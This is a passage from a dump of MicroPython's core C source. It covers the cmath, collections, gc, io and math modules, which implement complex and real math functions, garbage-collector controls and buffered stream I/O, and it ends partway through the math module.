mp_obj_new_complex(r * MICROPY_FLOAT_C_FUN(cos)(phi), r * MICROPY_FLOAT_C_FUN(sin)(phi));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(mp_cmath_rect_obj, mp_cmath_rect);\n\n/// \\function exp(z)\n/// Return the exponential of `z`.\nSTATIC mp_obj_t mp_cmath_exp(mp_obj_t z_obj) {\n    mp_float_t real, imag;\n    mp_obj_get_complex(z_obj, &real, &imag);\n    mp_float_t exp_real = MICROPY_FLOAT_C_FUN(exp)(real);\n    return mp_obj_new_complex(exp_real * MICROPY_FLOAT_C_FUN(cos)(imag), exp_real * MICROPY_FLOAT_C_FUN(sin)(imag));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_exp_obj, mp_cmath_exp);\n\n/// \\function log(z)\n/// Return the natural logarithm of `z`.  The branch cut is along the negative real axis.\n// TODO can take second argument, being the base\nSTATIC mp_obj_t mp_cmath_log(mp_obj_t z_obj) {\n    mp_float_t real, imag;\n    mp_obj_get_complex(z_obj, &real, &imag);\n    return mp_obj_new_complex(0.5 * MICROPY_FLOAT_C_FUN(log)(real*real + imag*imag), MICROPY_FLOAT_C_FUN(atan2)(imag, real));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_log_obj, mp_cmath_log);\n\n#if MICROPY_PY_MATH_SPECIAL_FUNCTIONS\n/// \\function log10(z)\n/// Return the base-10 logarithm of `z`.  The branch cut is along the negative real axis.\nSTATIC mp_obj_t mp_cmath_log10(mp_obj_t z_obj) {\n    mp_float_t real, imag;\n    mp_obj_get_complex(z_obj, &real, &imag);\n    return mp_obj_new_complex(0.5 * MICROPY_FLOAT_C_FUN(log10)(real*real + imag*imag), 0.4342944819032518 * MICROPY_FLOAT_C_FUN(atan2)(imag, real));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_log10_obj, mp_cmath_log10);\n#endif\n\n/// \\function sqrt(z)\n/// Return the square-root of `z`.\nSTATIC mp_obj_t mp_cmath_sqrt(mp_obj_t z_obj) {\n    mp_float_t real, imag;\n    mp_obj_get_complex(z_obj, &real, &imag);\n    mp_float_t sqrt_abs = MICROPY_FLOAT_C_FUN(pow)(real*real + imag*imag, 0.25);\n    mp_float_t theta = 0.5 * MICROPY_FLOAT_C_FUN(atan2)(imag, real);\n    return mp_obj_new_complex(sqrt_abs * MICROPY_FLOAT_C_FUN(cos)(theta), sqrt_abs * MICROPY_FLOAT_C_FUN(sin)(theta));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_sqrt_obj, mp_cmath_sqrt);\n\n/// \\function cos(z)\n/// Return the cosine of `z`.\nSTATIC mp_obj_t mp_cmath_cos(mp_obj_t z_obj) {\n    mp_float_t real, imag;\n    mp_obj_get_complex(z_obj, &real, &imag);\n    return mp_obj_new_complex(MICROPY_FLOAT_C_FUN(cos)(real) * MICROPY_FLOAT_C_FUN(cosh)(imag), -MICROPY_FLOAT_C_FUN(sin)(real) * MICROPY_FLOAT_C_FUN(sinh)(imag));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_cos_obj, mp_cmath_cos);\n\n/// \\function sin(z)\n/// Return the sine of `z`.\nSTATIC mp_obj_t mp_cmath_sin(mp_obj_t z_obj) {\n    mp_float_t real, imag;\n    mp_obj_get_complex(z_obj, &real, &imag);\n    return mp_obj_new_complex(MICROPY_FLOAT_C_FUN(sin)(real) * MICROPY_FLOAT_C_FUN(cosh)(imag), MICROPY_FLOAT_C_FUN(cos)(real) * MICROPY_FLOAT_C_FUN(sinh)(imag));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_cmath_sin_obj, mp_cmath_sin);\n\nSTATIC const mp_rom_map_elem_t mp_module_cmath_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_cmath) },\n    { MP_ROM_QSTR(MP_QSTR_e), mp_const_float_e },\n    { MP_ROM_QSTR(MP_QSTR_pi), mp_const_float_pi },\n    { MP_ROM_QSTR(MP_QSTR_phase), MP_ROM_PTR(&mp_cmath_phase_obj) },\n    { MP_ROM_QSTR(MP_QSTR_polar), MP_ROM_PTR(&mp_cmath_polar_obj) },\n    { MP_ROM_QSTR(MP_QSTR_rect), MP_ROM_PTR(&mp_cmath_rect_obj) },\n    { MP_ROM_QSTR(MP_QSTR_exp), MP_ROM_PTR(&mp_cmath_exp_obj) },\n    { MP_ROM_QSTR(MP_QSTR_log), MP_ROM_PTR(&mp_cmath_log_obj) },\n    #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS\n    { MP_ROM_QSTR(MP_QSTR_log10), MP_ROM_PTR(&mp_cmath_log10_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_sqrt), MP_ROM_PTR(&mp_cmath_sqrt_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_acos), MP_ROM_PTR(&mp_cmath_acos_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_asin), MP_ROM_PTR(&mp_cmath_asin_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_atan), MP_ROM_PTR(&mp_cmath_atan_obj) },\n    { MP_ROM_QSTR(MP_QSTR_cos), MP_ROM_PTR(&mp_cmath_cos_obj) },\n    { MP_ROM_QSTR(MP_QSTR_sin), MP_ROM_PTR(&mp_cmath_sin_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_tan), MP_ROM_PTR(&mp_cmath_tan_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_acosh), MP_ROM_PTR(&mp_cmath_acosh_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_asinh), MP_ROM_PTR(&mp_cmath_asinh_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_atanh), MP_ROM_PTR(&mp_cmath_atanh_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_cosh), MP_ROM_PTR(&mp_cmath_cosh_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_sinh), MP_ROM_PTR(&mp_cmath_sinh_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_tanh), MP_ROM_PTR(&mp_cmath_tanh_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_isfinite), MP_ROM_PTR(&mp_cmath_isfinite_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_isinf), MP_ROM_PTR(&mp_cmath_isinf_obj) },\n    //{ MP_ROM_QSTR(MP_QSTR_isnan), MP_ROM_PTR(&mp_cmath_isnan_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_cmath_globals, mp_module_cmath_globals_table);\n\nconst mp_obj_module_t mp_module_cmath = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_cmath_globals,\n};\n\n#endif // MICROPY_PY_BUILTINS_FLOAT && MICROPY_PY_CMATH\n"
  },
  {
    "path": "micropython/source/py/modcollections.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/builtin.h\"\n\n#if MICROPY_PY_COLLECTIONS\n\nSTATIC const mp_rom_map_elem_t mp_module_collections_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_ucollections) },\n    { MP_ROM_QSTR(MP_QSTR_namedtuple), MP_ROM_PTR(&mp_namedtuple_obj) },\n    #if MICROPY_PY_COLLECTIONS_ORDEREDDICT\n    { MP_ROM_QSTR(MP_QSTR_OrderedDict), MP_ROM_PTR(&mp_type_ordereddict) },\n    #endif\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_collections_globals, mp_module_collections_globals_table);\n\nconst mp_obj_module_t mp_module_collections = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_collections_globals,\n};\n\n#endif // MICROPY_PY_COLLECTIONS\n"
  },
  {
    "path": "micropython/source/py/modgc.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpstate.h\"\n#include \"py/obj.h\"\n#include \"py/gc.h\"\n\n#if MICROPY_PY_GC && MICROPY_ENABLE_GC\n\n/// \\module gc - control the garbage collector\n\n/// \\function collect()\n/// Run a garbage collection.\nSTATIC mp_obj_t py_gc_collect(void) {\n    gc_collect();\n#if MICROPY_PY_GC_COLLECT_RETVAL\n    return MP_OBJ_NEW_SMALL_INT(MP_STATE_MEM(gc_collected));\n#else\n    return mp_const_none;\n#endif\n}\nMP_DEFINE_CONST_FUN_OBJ_0(gc_collect_obj, py_gc_collect);\n\n/// \\function disable()\n/// Disable the garbage collector.\nSTATIC mp_obj_t gc_disable(void) {\n    MP_STATE_MEM(gc_auto_collect_enabled) = 0;\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(gc_disable_obj, gc_disable);\n\n/// \\function enable()\n/// Enable the garbage collector.\nSTATIC mp_obj_t gc_enable(void) {\n    MP_STATE_MEM(gc_auto_collect_enabled) = 1;\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(gc_enable_obj, gc_enable);\n\nSTATIC mp_obj_t gc_isenabled(void) {\n    return mp_obj_new_bool(MP_STATE_MEM(gc_auto_collect_enabled));\n}\nMP_DEFINE_CONST_FUN_OBJ_0(gc_isenabled_obj, gc_isenabled);\n\n/// \\function mem_free()\n/// Return the number of bytes of available heap RAM.\nSTATIC mp_obj_t gc_mem_free(void) {\n    gc_info_t info;\n    gc_info(&info);\n    return MP_OBJ_NEW_SMALL_INT(info.free);\n}\nMP_DEFINE_CONST_FUN_OBJ_0(gc_mem_free_obj, gc_mem_free);\n\n/// \\function mem_alloc()\n/// Return the number of bytes of heap RAM that are allocated.\nSTATIC mp_obj_t gc_mem_alloc(void) {\n    gc_info_t info;\n    gc_info(&info);\n    return MP_OBJ_NEW_SMALL_INT(info.used);\n}\nMP_DEFINE_CONST_FUN_OBJ_0(gc_mem_alloc_obj, gc_mem_alloc);\n\n#if MICROPY_GC_ALLOC_THRESHOLD\nSTATIC mp_obj_t gc_threshold(size_t n_args, const mp_obj_t *args) {\n    if (n_args == 0) {\n        if (MP_STATE_MEM(gc_alloc_threshold) == (size_t)-1) {\n            return MP_OBJ_NEW_SMALL_INT(-1);\n        }\n        return mp_obj_new_int(MP_STATE_MEM(gc_alloc_threshold) * MICROPY_BYTES_PER_GC_BLOCK);\n    }\n    mp_int_t val = mp_obj_get_int(args[0]);\n    if (val < 0) {\n        MP_STATE_MEM(gc_alloc_threshold) = (size_t)-1;\n    } else {\n        MP_STATE_MEM(gc_alloc_threshold) = val / MICROPY_BYTES_PER_GC_BLOCK;\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(gc_threshold_obj, 0, 1, gc_threshold);\n#endif\n\nSTATIC const mp_rom_map_elem_t mp_module_gc_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_gc) },\n    { MP_ROM_QSTR(MP_QSTR_collect), MP_ROM_PTR(&gc_collect_obj) },\n    { MP_ROM_QSTR(MP_QSTR_disable), MP_ROM_PTR(&gc_disable_obj) },\n    { MP_ROM_QSTR(MP_QSTR_enable), MP_ROM_PTR(&gc_enable_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isenabled), MP_ROM_PTR(&gc_isenabled_obj) },\n    { MP_ROM_QSTR(MP_QSTR_mem_free), MP_ROM_PTR(&gc_mem_free_obj) },\n    { MP_ROM_QSTR(MP_QSTR_mem_alloc), MP_ROM_PTR(&gc_mem_alloc_obj) },\n    #if MICROPY_GC_ALLOC_THRESHOLD\n    { MP_ROM_QSTR(MP_QSTR_threshold), MP_ROM_PTR(&gc_threshold_obj) },\n    #endif\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_gc_globals, mp_module_gc_globals_table);\n\nconst mp_obj_module_t mp_module_gc = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_gc_globals,\n};\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/modio.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <assert.h>\n#include <string.h>\n\n#include \"py/runtime.h\"\n#include \"py/builtin.h\"\n#include \"py/stream.h\"\n#include \"py/objstringio.h\"\n#include \"py/frozenmod.h\"\n\n#if MICROPY_PY_IO\n\nextern const mp_obj_type_t mp_type_fileio;\nextern const mp_obj_type_t mp_type_textio;\n\n#if MICROPY_PY_IO_BUFFEREDWRITER\ntypedef struct _mp_obj_bufwriter_t {\n    mp_obj_base_t base;\n    mp_obj_t stream;\n    size_t alloc;\n    size_t len;\n    byte buf[0];\n} mp_obj_bufwriter_t;\n\nSTATIC mp_obj_t bufwriter_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_arg_check_num(n_args, n_kw, 2, 2, false);\n    size_t alloc = mp_obj_get_int(args[1]);\n    mp_obj_bufwriter_t *o = m_new_obj_var(mp_obj_bufwriter_t, byte, alloc);\n    o->base.type = type;\n    o->stream = args[0];\n    o->alloc = alloc;\n    o->len = 0;\n    return o;\n}\n\nSTATIC mp_uint_t bufwriter_write(mp_obj_t self_in, const void *buf, mp_uint_t size, int *errcode) {\n    mp_obj_bufwriter_t *self = MP_OBJ_TO_PTR(self_in);\n\n    mp_uint_t org_size = size;\n\n    while (size > 0) {\n        mp_uint_t rem = self->alloc - self->len;\n        if (size < rem) {\n            memcpy(self->buf + self->len, buf, size);\n            self->len += size;\n            return org_size;\n        }\n\n        // Buffer flushing policy here is to flush entire buffer all the time.\n        // This allows e.g. to have a block device as backing storage and write\n        // entire block to it. memcpy below is not ideal and could be optimized\n        // in some cases. But the way it is now it at least ensures that buffer\n        // is word-aligned, to guard against obscure cases when it matters, e.g.\n        // https://github.com/micropython/micropython/issues/1863\n        memcpy(self->buf + self->len, buf, rem);\n        buf = (byte*)buf + rem;\n        size -= rem;\n        mp_uint_t out_sz = mp_stream_write_exactly(self->stream, self->buf, self->alloc, errcode);\n        if (*errcode != 0) {\n            return MP_STREAM_ERROR;\n        }\n        // TODO: try to recover from a case of non-blocking stream, e.g. move\n        // remaining chunk to the beginning of buffer.\n        assert(out_sz == self->alloc);\n        self->len = 0;\n    }\n\n    return org_size;\n}\n\nSTATIC mp_obj_t bufwriter_flush(mp_obj_t self_in) {\n    mp_obj_bufwriter_t *self = MP_OBJ_TO_PTR(self_in);\n\n    if (self->len != 0) {\n        int err;\n        mp_uint_t out_sz = mp_stream_write_exactly(self->stream, self->buf, self->len, &err);\n        // TODO: try to recover from a case of non-blocking stream, e.g. move\n        // remaining chunk to the beginning of buffer.\n        assert(out_sz == self->len);\n        self->len = 0;\n        if (err != 0) {\n            mp_raise_OSError(err);\n        }\n    }\n\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(bufwriter_flush_obj, bufwriter_flush);\n\nSTATIC const mp_rom_map_elem_t bufwriter_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_write), MP_ROM_PTR(&mp_stream_write_obj) },\n    { MP_ROM_QSTR(MP_QSTR_flush), MP_ROM_PTR(&bufwriter_flush_obj) },\n};\nSTATIC MP_DEFINE_CONST_DICT(bufwriter_locals_dict, bufwriter_locals_dict_table);\n\nSTATIC const mp_stream_p_t bufwriter_stream_p = {\n    .write = bufwriter_write,\n};\n\nSTATIC const mp_obj_type_t bufwriter_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_BufferedWriter,\n    .make_new = bufwriter_make_new,\n    .protocol = &bufwriter_stream_p,\n    .locals_dict = (mp_obj_dict_t*)&bufwriter_locals_dict,\n};\n#endif // MICROPY_PY_IO_BUFFEREDWRITER\n\n#if MICROPY_MODULE_FROZEN_STR\nSTATIC mp_obj_t resource_stream(mp_obj_t package_in, mp_obj_t path_in) {\n    VSTR_FIXED(path_buf, MICROPY_ALLOC_PATH_MAX);\n    size_t len;\n\n    // As an extension to pkg_resources.resource_stream(), we support\n    // package parameter being None, the path_in is interpreted as a\n    // raw path.\n    if (package_in != mp_const_none) {\n        mp_obj_t args[5];\n        args[0] = package_in;\n        args[1] = mp_const_none; // TODO should be globals\n        args[2] = mp_const_none; // TODO should be locals\n        args[3] = mp_const_true; // Pass sentinel \"non empty\" value to force returning of leaf module\n        args[4] = MP_OBJ_NEW_SMALL_INT(0);\n\n        // TODO lookup __import__ and call that instead of going straight to builtin implementation\n        mp_obj_t pkg = mp_builtin___import__(5, args);\n\n        mp_obj_t dest[2];\n        mp_load_method_maybe(pkg, MP_QSTR___path__, dest);\n        if (dest[0] == MP_OBJ_NULL) {\n            mp_raise_TypeError(NULL);\n        }\n\n        const char *path = mp_obj_str_get_data(dest[0], &len);\n        vstr_add_strn(&path_buf, path, len);\n        vstr_add_byte(&path_buf, '/');\n    }\n\n    const char *path = mp_obj_str_get_data(path_in, &len);\n    vstr_add_strn(&path_buf, path, len);\n\n    len = path_buf.len;\n    const char *data = mp_find_frozen_str(path_buf.buf, &len);\n    if (data != NULL) {\n        mp_obj_stringio_t *o = m_new_obj(mp_obj_stringio_t);\n        o->base.type = &mp_type_bytesio;\n        o->vstr = m_new_obj(vstr_t);\n        vstr_init_fixed_buf(o->vstr, len + 1, (char*)data);\n        o->vstr->len = len;\n        o->pos = 0;\n        return MP_OBJ_FROM_PTR(o);\n    }\n\n    mp_obj_t path_out = mp_obj_new_str(path_buf.buf, path_buf.len, false);\n    return mp_builtin_open(1, &path_out, (mp_map_t*)&mp_const_empty_map);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(resource_stream_obj, resource_stream);\n#endif\n\nSTATIC const mp_rom_map_elem_t mp_module_io_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_uio) },\n    // Note: mp_builtin_open_obj should be defined by port, it's not\n    // part of the core.\n    { MP_ROM_QSTR(MP_QSTR_open), MP_ROM_PTR(&mp_builtin_open_obj) },\n    #if MICROPY_PY_IO_RESOURCE_STREAM\n    { MP_ROM_QSTR(MP_QSTR_resource_stream), MP_ROM_PTR(&resource_stream_obj) },\n    #endif\n    #if MICROPY_PY_IO_FILEIO\n    { MP_ROM_QSTR(MP_QSTR_FileIO), MP_ROM_PTR(&mp_type_fileio) },\n    #if MICROPY_CPYTHON_COMPAT\n    { MP_ROM_QSTR(MP_QSTR_TextIOWrapper), MP_ROM_PTR(&mp_type_textio) },\n    #endif\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_StringIO), MP_ROM_PTR(&mp_type_stringio) },\n    #if MICROPY_PY_IO_BYTESIO\n    { MP_ROM_QSTR(MP_QSTR_BytesIO), MP_ROM_PTR(&mp_type_bytesio) },\n    #endif\n    #if MICROPY_PY_IO_BUFFEREDWRITER\n    { MP_ROM_QSTR(MP_QSTR_BufferedWriter), MP_ROM_PTR(&bufwriter_type) },\n    #endif\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_io_globals, mp_module_io_globals_table);\n\nconst mp_obj_module_t mp_module_io = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_io_globals,\n};\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/modmath.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/builtin.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_FLOAT && MICROPY_PY_MATH\n\n#include <math.h>\n\n// M_PI is not part of the math.h standard and may not be defined\n// And by defining our own we can ensure it uses the correct const format.\n#define MP_PI MICROPY_FLOAT_CONST(3.14159265358979323846)\n\n/// \\module math - mathematical functions\n///\n/// The `math` module provides some basic mathematical funtions for\n/// working with floating-point numbers.\n\nSTATIC NORETURN void math_error(void) {\n    mp_raise_ValueError(\"math domain error\");\n}\n\n#define MATH_FUN_1(py_name, c_name) \\\n    STATIC mp_obj_t mp_math_ ## py_name(mp_obj_t x_obj) { return mp_obj_new_float(MICROPY_FLOAT_C_FUN(c_name)(mp_obj_get_float(x_obj))); } \\\n    STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_## py_name ## _obj, mp_math_ ## py_name);\n\n#define MATH_FUN_2(py_name, c_name) \\\n    STATIC mp_obj_t mp_math_ ## py_name(mp_obj_t x_obj, mp_obj_t y_obj) { return mp_obj_new_float(MICROPY_FLOAT_C_FUN(c_name)(mp_obj_get_float(x_obj), mp_obj_get_float(y_obj))); } \\\n    STATIC MP_DEFINE_CONST_FUN_OBJ_2(mp_math_## py_name ## _obj, mp_math_ ## py_name);\n\n#define MATH_FUN_1_TO_BOOL(py_name, c_name) \\\n    STATIC mp_obj_t mp_math_ ## py_name(mp_obj_t x_obj) { return mp_obj_new_bool(c_name(mp_obj_get_float(x_obj))); } \\\n    STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_## py_name ## _obj, mp_math_ ## py_name);\n\n#define MATH_FUN_1_TO_INT(py_name, c_name) \\\n    STATIC mp_obj_t mp_math_ ## py_name(mp_obj_t x_obj) { return mp_obj_new_int_from_float(MICROPY_FLOAT_C_FUN(c_name)(mp_obj_get_float(x_obj))); } \\\n    STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_## py_name ## _obj, mp_math_ ## py_name);\n\n#define MATH_FUN_1_ERRCOND(py_name, c_name, error_condition) \\\n    STATIC mp_obj_t mp_math_ ## py_name(mp_obj_t x_obj) { \\\n        mp_float_t x = mp_obj_get_float(x_obj); \\\n        if (error_condition) { \\\n            math_error(); \\\n        } \\\n        return mp_obj_new_float(MICROPY_FLOAT_C_FUN(c_name)(x)); \\\n    } \\\n    STATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_## py_name ## _obj, mp_math_ ## py_name);\n\n#if MP_NEED_LOG2\n// 1.442695040888963407354163704 is 1/_M_LN2\n#define log2(x) (log(x) * 1.442695040888963407354163704)\n#endif\n\n/// \\function sqrt(x)\n/// Returns the square root of `x`.\nMATH_FUN_1_ERRCOND(sqrt, sqrt, (x < (mp_float_t)0.0))\n/// \\function pow(x, y)\n/// Returns `x` to the power of `y`.\nMATH_FUN_2(pow, pow)\n/// \\function exp(x)\nMATH_FUN_1(exp, exp)\n#if MICROPY_PY_MATH_SPECIAL_FUNCTIONS\n/// \\function expm1(x)\nMATH_FUN_1(expm1, expm1)\n/// \\function log2(x)\nMATH_FUN_1_ERRCOND(log2, log2, (x <= (mp_float_t)0.0))\n/// \\function log10(x)\nMATH_FUN_1_ERRCOND(log10, log10, (x <= (mp_float_t)0.0))\n/// \\function cosh(x)\nMATH_FUN_1(cosh, cosh)\n/// \\function sinh(x)\nMATH_FUN_1(sinh, sinh)\n/// \\function tanh(x)\nMATH_FUN_1(tanh, tanh)\n/// \\function acosh(x)\nMATH_FUN_1(acosh, acosh)\n/// \\function asinh(x)\nMATH_FUN_1(asinh, asinh)\n/// \\function atanh(x)\nMATH_FUN_1(atanh, atanh)\n#endif\n/// \\function cos(x)\nMATH_FUN_1(cos, cos)\n/// \\function sin(x)\nMATH_FUN_1(sin, sin)\n/// \\function tan(x)\nMATH_FUN_1(tan, tan)\n/// \\function acos(x)\nMATH_FUN_1(acos, acos)\n/// \\function asin(x)\nMATH_FUN_1(asin, asin)\n/// \\function atan(x)\nMATH_FUN_1(atan, atan)\n/// \\function atan2(y, x)\nMATH_FUN_2(atan2, atan2)\n/// \\function ceil(x)\nMATH_FUN_1_TO_INT(ceil, ceil)\n/// \\function copysign(x, y)\nMATH_FUN_2(copysign, copysign)\n/// \\function fabs(x)\nMATH_FUN_1(fabs, fabs)\n/// \\function floor(x)\nMATH_FUN_1_TO_INT(floor, floor) //TODO: delegate to x.__floor__() if x is not a float\n/// \\function fmod(x, y)\nMATH_FUN_2(fmod, fmod)\n/// \\function isfinite(x)\nMATH_FUN_1_TO_BOOL(isfinite, isfinite)\n/// \\function isinf(x)\nMATH_FUN_1_TO_BOOL(isinf, isinf)\n/// \\function isnan(x)\nMATH_FUN_1_TO_BOOL(isnan, isnan)\n/// \\function trunc(x)\nMATH_FUN_1_TO_INT(trunc, trunc)\n/// \\function ldexp(x, exp)\nMATH_FUN_2(ldexp, ldexp)\n#if MICROPY_PY_MATH_SPECIAL_FUNCTIONS\n/// \\function erf(x)\n/// Return the error function of `x`.\nMATH_FUN_1(erf, erf)\n/// \\function erfc(x)\n/// Return the complementary error function of `x`.\nMATH_FUN_1(erfc, erfc)\n/// \\function gamma(x)\n/// Return the gamma function of `x`.\nMATH_FUN_1(gamma, tgamma)\n/// \\function lgamma(x)\n/// return the natural logarithm of the gamma function of `x`.\nMATH_FUN_1(lgamma, lgamma)\n#endif\n//TODO: factorial, fsum\n\n// Function that takes a variable number of arguments\n\n// log(x[, base])\nSTATIC mp_obj_t mp_math_log(size_t n_args, const mp_obj_t *args) {\n    mp_float_t x = mp_obj_get_float(args[0]);\n    if (x <= (mp_float_t)0.0) {\n        math_error();\n    }\n    mp_float_t l = MICROPY_FLOAT_C_FUN(log)(x);\n    if (n_args == 1) {\n        return mp_obj_new_float(l);\n    } else {\n        mp_float_t base = mp_obj_get_float(args[1]);\n        if (base <= 